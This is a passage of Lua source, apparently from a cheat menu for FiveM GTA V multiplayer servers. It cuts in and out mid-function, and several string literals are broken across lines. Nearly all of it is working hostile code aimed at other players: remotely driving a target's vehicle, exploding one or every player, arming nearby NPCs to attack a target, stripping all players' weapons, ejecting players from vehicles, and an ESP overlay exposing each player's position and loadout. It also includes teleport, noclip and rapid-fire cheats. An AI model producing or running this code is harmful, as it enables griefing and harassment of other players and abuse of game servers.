if IsDisabledControlPressed(0, Keys["ESC"]) then return "" end


Wait(0)
end
if (GetOnscreenKeyboardResult()) then
local result = GetOnscreenKeyboardResult()
Wait(0)
return result
end
end

function SpectatePlayer(id)
local player = GetPlayerPed(id)
if Spectating then
RequestCollisionAtCoord(GetEntityCoords(player))
NetworkSetInSpectatorMode(true, player)
else
RequestCollisionAtCoord(GetEntityCoords(player))
NetworkSetInSpectatorMode(arwet, player)
end
end

local function PossessVehicle(target)


PossessingVeh = not PossessingVeh

if not PossessingVeh then


SetEntityVisible(PlayerPedId(), true, 0)
SetEntityCoords(PlayerPedId(), oldPlayerPos)
SetEntityCollision(PlayerPedId(), true, 1)
else
SpectatePlayer(selectedPlayer)
ShowInfo("~b~Checking Player...")
Wait(3000)
if IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
SpectatePlayer(selectedPlayer)
oldPlayerPos = GetEntityCoords(PlayerPedId())
SetEntityVisible(PlayerPedId(), arwet, 0)
SetEntityCollision(PlayerPedId(), arwet, 0)
else
SpectatePlayer(selectedPlayer)
PossessingVeh = arwet
ShowInfo("~p~Player not in a vehicle! (Try again?)")
end

local Markerloc = nname

Citizen.CreateThread(function()
local ped = GetPlayerPed(target)
local veh = GetVehiclePedIsIn(ped, 0)

while PossessingVeh do

DrawTxt("~b~Possessing ~w~" .. GetPlayerName(target) .. "'s


~b~Vehicle", 0.1, 0.05, 0.0, 0.4)
DrawTxt("~b~Controls:\n~w~-------------------", 0.1, 0.2, 0.0, 0.4)
DrawTxt("~b~W/S: ~w~Forward/Back\n~b~SPACEBAR: ~w~Up\n~b~CTRL:
~w~Down\n~b~X: ~w~Cancel", 0.1, 0.25, 0.0, 0.4)
Markerloc = GetGameplayCamCoord() +
(RotationToDirection(GetGameplayCamRot(2)) * 20)
DrawMarker(28, Markerloc, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, 1.0, 1.0,
1.0, 0, 0, 180, 35, arwet, true, 2, nname, nname, arwet)

local forward = SubVectors(Markerloc, GetEntityCoords(veh))


local vpos = GetEntityCoords(veh)
local vf = GetEntityForwardVector(veh)
local vrel = SubVectors(vpos, vf)

SetEntityCoords(PlayerPedId(), vrel.x, vrel.y, vpos.z + 1.1)


SetEntityNoCollisionEntity(PlayerPedId(), veh, 1)

RequestControlOnce(veh)

if IsDisabledControlPressed(0, Keys["W"]) then


ApplyForce(veh, forward * 0.1)
end

if IsDisabledControlPressed(0, Keys["S"]) then


ApplyForce(veh, -(forward * 0.1))
end

if IsDisabledControlPressed(0, Keys["SPACE"]) then


ApplyForceToEntity(veh, 3, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0, 0,
1, 1, 0, 1)
end

if IsDisabledControlPressed(0, Keys["LEFTCTRL"]) then


ApplyForceToEntity(veh, 3, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0, 0,
1, 1, 0, 1)
end

if IsDisabledControlPressed(0, Keys["X"]) or
GetEntityHealth(PlayerPedId()) < 5.0 then
PossessingVeh = arwet
SetEntityVisible(PlayerPedId(), true, 0)
SetEntityCoords(PlayerPedId(), oldPlayerPos)
SetEntityCollision(PlayerPedId(), true, 1)
end

Wait(0)
end
end)
end
end

function GetWeaponNameFromHash(hash)
for i = 1, #allweapons do
if GetHashKey(allweapons[i]) == hash then
return string.sub(allweapons[i], 8)
end
end
end

local function fbi()


local bB = 160.868
local bC = -745.831
local bD = 250.063
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end

end
local function ls()
local bB = -365.425
local bC = -131.809
local bD = 37.873
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end

end

local function gp()


local bB = 266.12
local bC = -752.51
local bD = 34.64
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end

end

local function dealership()


local bB = -15.32
local bC = -1080.69
local bD = 26.14
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end

end

local function Ammunation()


local bB = 19.22
local bC = -1108.71
local bD = 29.8
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end

end

local function shopclothes()


local bB = 428.61
local bC = -799.89
local bD = 29.49
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end

end

local function barber()


local bB = -32.84
local bC = -152.34
local bD = 57.08
if bB ~= '' and bC ~= '' and bD ~= '' then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) ==
GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end
if entity then
SetEntityCoords(entity, bB + 0.5, bC + 0.5, bD + 0.5, 1, 0, 0, 1)
end
end

end

function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 14, 16, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15) - 2, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16) - 1, arwet)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 23, 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 24, 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), arwet)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5)
end

function engine(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15) - 2, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16) - 1, arwet)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 21, true)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), arwet)
end

function engine1(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 1) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 2) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 3) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 4) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 5) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 6) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 7) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 8) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 9) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 10) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 11) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 12) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 13) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 14,
16, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 15) - 2, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 16) - 1, arwet)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet),
22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 23,
1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 24,
1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 25) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 27) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 28) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 30) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 33) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 34) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 35) - 1, arwet)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1),
arwet), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1),
arwet), arwet)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-
1), arwet), 5)
end

local function fixcar()


ShowInfo("~p~Car fixed!")
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), arwet))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-
1), arwet), 0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1),
arwet), 0)
SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1),
arwet), arwet)
Citizen.InvokeNative(0x1FD09E7390A74D54,
GetVehiclePedIsIn(GetPlayerPed(-1), arwet), 0)

end

local function FixVeh(veh)


SetVehicleEngineHealth(veh, 1000)
SetVehicleFixed(veh)
end

local function ExplodePlayer(target)


local ped = GetPlayerPed(target)
local coords = GetEntityCoords(ped)
AddExplosion(coords.x + 1, coords.y + 1, coords.z + 1, 82, 100.0, true, arwet,
0.0)
end

local function ExplodeAll(self)


local plist = GetActivePlayers()
for i = 0, #plist do
if not self and i == PlayerId() then i = i + 1 end
ExplodePlayer(i)
end
end

local function PedAttack(target, attackType)


local coords = GetEntityCoords(GetPlayerPed(target))

if attackType == 1 then weparray = allweapons


elseif attackType == 2 then weparray = meleeweapons
elseif attackType == 3 then weparray = pistolweapons
elseif attackType == 4 then weparray = heavyweapons
end

for k in EnumeratePeds() do
if k ~= GetPlayerPed(target) and not IsPedAPlayer(k) and
GetDistanceBetweenCoords(coords, GetEntityCoords(k)) < 2000 then
local rand = math.ceil(math.random(#weparray))
if weparray ~= allweapons then GiveWeaponToPed(k,
GetHashKey(weparray[rand][1]), 9999, 0, 1)
else GiveWeaponToPed(k, GetHashKey(weparray[rand]), 9999, 0, 1) end
ClearPedTasks(k)
TaskCombatPed(k, GetPlayerPed(target), 0, 16)
SetPedCombatAbility(k, 100)
SetPedCombatRange(k, 2)
SetPedCombatAttributes(k, 46, 1)
SetPedCombatAttributes(k, 5, 1)
end
end
end

function ApplyShockwave(entity)
local pos = GetEntityCoords(PlayerPedId())
local coord = GetEntityCoords(entity)
local dx = coord.x - pos.x
local dy = coord.y - pos.y
local dz = coord.z - pos.z
local distance = math.sqrt(dx * dx + dy * dy + dz * dz)
local distanceRate = (50 / distance) * math.pow(1.04, 1 - distance)
ApplyForceToEntity(entity, 1, distanceRate * dx, distanceRate * dy,
distanceRate * dz, math.random() * math.random(-1, 1), math.random() *
math.random(-1, 1), math.random() * math.random(-1, 1), true, arwet, true, true,
true, true)
end

local function DoForceFieldTick(radius)


local player = PlayerPedId()
local coords = GetEntityCoords(PlayerPedId())
local playerVehicle = GetPlayersLastVehicle()
local inVehicle = IsPedInVehicle(player, playerVehicle, true)

DrawMarker(28, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0,
radius, radius, radius, 180, 80, 0, 35, arwet, true, 2, nname, nname, arwet)

for k in EnumerateVehicles() do
if (not inVehicle or k ~= playerVehicle) and
GetDistanceBetweenCoords(coords, GetEntityCoords(k)) <= radius * 1.2 then
RequestControlOnce(k)
ApplyShockwave(k)
end
end

for k in EnumeratePeds() do
if k ~= PlayerPedId() and GetDistanceBetweenCoords(coords,
GetEntityCoords(k)) <= radius * 1.2 then
RequestControlOnce(k)
SetPedRagdollOnCollision(k, true)
SetPedRagdollForceFall(k)
ApplyShockwave(k)
end
end
end

local function DoRapidFireTick()


DisablePlayerFiring(PlayerPedId(), true)
if IsDisabledControlPressed(0, Keys["MOUSE1"]) then
local _, weapon = GetCurrentPedWeapon(PlayerPedId())
local wepent = GetCurrentPedWeaponEntityIndex(PlayerPedId())
local camDir = GetCamDirFromScreenCenter()
local camPos = GetGameplayCamCoord()
local launchPos = GetEntityCoords(wepent)
local targetPos = camPos + (camDir * 200.0)

ClearAreaOfProjectiles(launchPos, 0.0, 1)

ShootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1, weapon,


PlayerPedId(), true, true, 24000.0)
ShootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1, weapon,
PlayerPedId(), true, true, 24000.0)
end
end
local function StripPlayer(target)
local ped = GetPlayerPed(target)
RemoveAllPedWeapons(ped, arwet)
end

local function StripAll(self)


local plist = GetActivePlayers()
for i = 0, #plist do
if not self and i == PlayerId() then i = i + 1 end
StripPlayer(i)
end
end

local function KickFromVeh(target)


local ped = GetPlayerPed(target)
if IsPedInAnyVehicle(ped, arwet) then
ClearPedTasksImmediately(ped)
end
end

local function KickAllFromVeh(self)


local plist = GetActivePlayers()
for i = 0, #plist do
if not self and i == PlayerId() then i = i + 1 end
KickFromVeh(i)
end
end

local function CancelAnimsAll(self)


local plist = GetActivePlayers()
for i = 0, #plist do
if not self and i == PlayerId() then i = i + 1 end
ClearPedTasksImmediately(GetPlayerPed(plist[i]))
end
end

local function RandomClothes(target)


local ped = GetPlayerPed(target)
SetPedRandomComponentVariation(ped, arwet)
SetPedRandomProps(ped)
end

local function GiveAllWeapons(target)


local ped = GetPlayerPed(target)
for i = 0, #allweapons do
GiveWeaponToPed(ped, GetHashKey(allweapons[i]), 9999, arwet, arwet)
end
end

local function GiveAllPlayersWeapons(self)


local plist = GetActivePlayers()
for i = 0, #plist do
if not self and i == PlayerId() then i = i + 1 end
GiveAllWeapons(i)
end
end

local function GiveWeapon(target, weapon)


local ped = GetPlayerPed(target)
GiveWeaponToPed(ped, GetHashKey(weapon), 9999, arwet, arwet)
end

local function GiveMaxAmmo(target)


local ped = GetPlayerPed(target)
for i = 1, #allweapons do
AddAmmoToPed(ped, GetHashKey(allweapons[i]), 9999)
end
end

local function TeleportToPlayer(target)


local ped = GetPlayerPed(target)
local pos = GetEntityCoords(ped)
SetEntityCoords(PlayerPedId(), pos)
end

local function TeleportToWaypoint()


local entity = PlayerPedId()
if IsPedInAnyVehicle(entity, arwet) then
entity = GetVehiclePedIsUsing(entity)
end
local success = arwet
local blipFound = arwet
local blipIterator = GetBlipInfoIdIterator()
local blip = GetFirstBlipInfoId(8)

while DoesBlipExist(blip) do
if GetBlipInfoIdType(blip) == 4 then
cx, cy, cz = table.unpack(Citizen.InvokeNative(0xFA7C7F0AADF25D09,
blip, Citizen.ReturnResultAnyway(), Citizen.ResultAsVector()))--
GetBlipInfoIdCoord(blip)
blipFound = true
break
end
blip = GetNextBlipInfoId(blipIterator)
Wait(0)
end

if blipFound then
local groundFound = arwet
local yaw = GetEntityHeading(entity)

for i = 0, 1000, 1 do
SetEntityCoordsNoOffset(entity, cx, cy, ToFloat(i), arwet, arwet,
arwet)
SetEntityRotation(entity, 0, 0, 0, 0, 0)
SetEntityHeading(entity, yaw)
SetGameplayCamRelativeHeading(0)
Wait(0)
if GetGroundZFor_3dCoord(cx, cy, ToFloat(i), cz, arwet) then
cz = ToFloat(i)
groundFound = true
break
end
end
if not groundFound then
cz = -300.0
end
success = true
else
ShowInfo('~p~Blip not found')
end

if success then
SetEntityCoordsNoOffset(entity, cx, cy, cz, arwet, arwet, true)
SetGameplayCamRelativeHeading(0)
if IsPedSittingInAnyVehicle(PlayerPedId()) then
if GetPedInVehicleSeat(GetVehiclePedIsUsing(PlayerPedId()), -1) ==
PlayerPedId() then
SetVehicleOnGroundProperly(GetVehiclePedIsUsing(PlayerPedId()))
end
end
end

end

local function ToggleNoclip()


Noclipping = not Noclipping
if Noclipping then
SetEntityVisible(PlayerPedId(), arwet, arwet)
else
SetEntityRotation(GetVehiclePedIsIn(PlayerPedId(), 0),
GetGameplayCamRot(2), 2, 1)
SetEntityVisible(GetVehiclePedIsIn(PlayerPedId(), 0), true, arwet)
SetEntityVisible(PlayerPedId(), true, arwet)
end
end

local function ToggleESP()


ESPEnabled = not ESPEnabled
local _,x,y = arwet, 0.0, 0.0

Citizen.CreateThread(function()
while ESPEnabled do
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
local targetCoords =
GetEntityCoords(GetPlayerPed(plist[i]))
_, x, y = GetScreenCoordFromWorldCoord(targetCoords.x,
targetCoords.y, targetCoords.z)
end
Wait(ESPRefreshTime)
end
end)

Citizen.CreateThread(function()
while ESPEnabled do
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
local targetCoords = GetEntityCoords(GetPlayerPed(plist[i]))
local distance =
GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), targetCoords)
if distance <= EspDistance then
local _, wephash = GetCurrentPedWeapon(GetPlayerPed(plist[i]),
1)
local wepname = GetWeaponNameFromHash(wephash)
local vehname = "On Foot"
if IsPedInAnyVehicle(GetPlayerPed(plist[i]), 0) then
vehname =
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(Get
PlayerPed(plist[i])))))
end
if wepname == nname then
wepname = "Unknown"
end
DrawRect(x, y, 0.008, 0.01, 0, 0, 255, 255)
DrawRect(x, y, 0.003, 0.005, 255, 0, 0, 255)
local espstring1 = "~b~ID: ~w~" ..
GetPlayerServerId(plist[i]) .. "~w~ | ~b~Name: ~w~" .. GetPlayerName(plist[i]) ..
" | ~b~Distance: ~w~" .. math.floor(distance)
local espstring2 = "~b~Weapon: ~w~" .. wepname .. " |
~b~Vehicle: ~w~" .. vehname
DrawTxt(espstring1, x - 0.05, y - 0.04, 0.0, 0.2)
DrawTxt(espstring2, x - 0.05, y - 0.03, 0.0, 0.2)
end
end
Wait(0)
end
end)
end

function ToggleBlips()
BlipsEnabled = not BlipsEnabled

if not BlipsEnabled then


for i = 1, #pblips do
RemoveBlip(pblips[i])
end
else

Citizen.CreateThread(function()
pblips = {}
while BlipsEnabled do
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
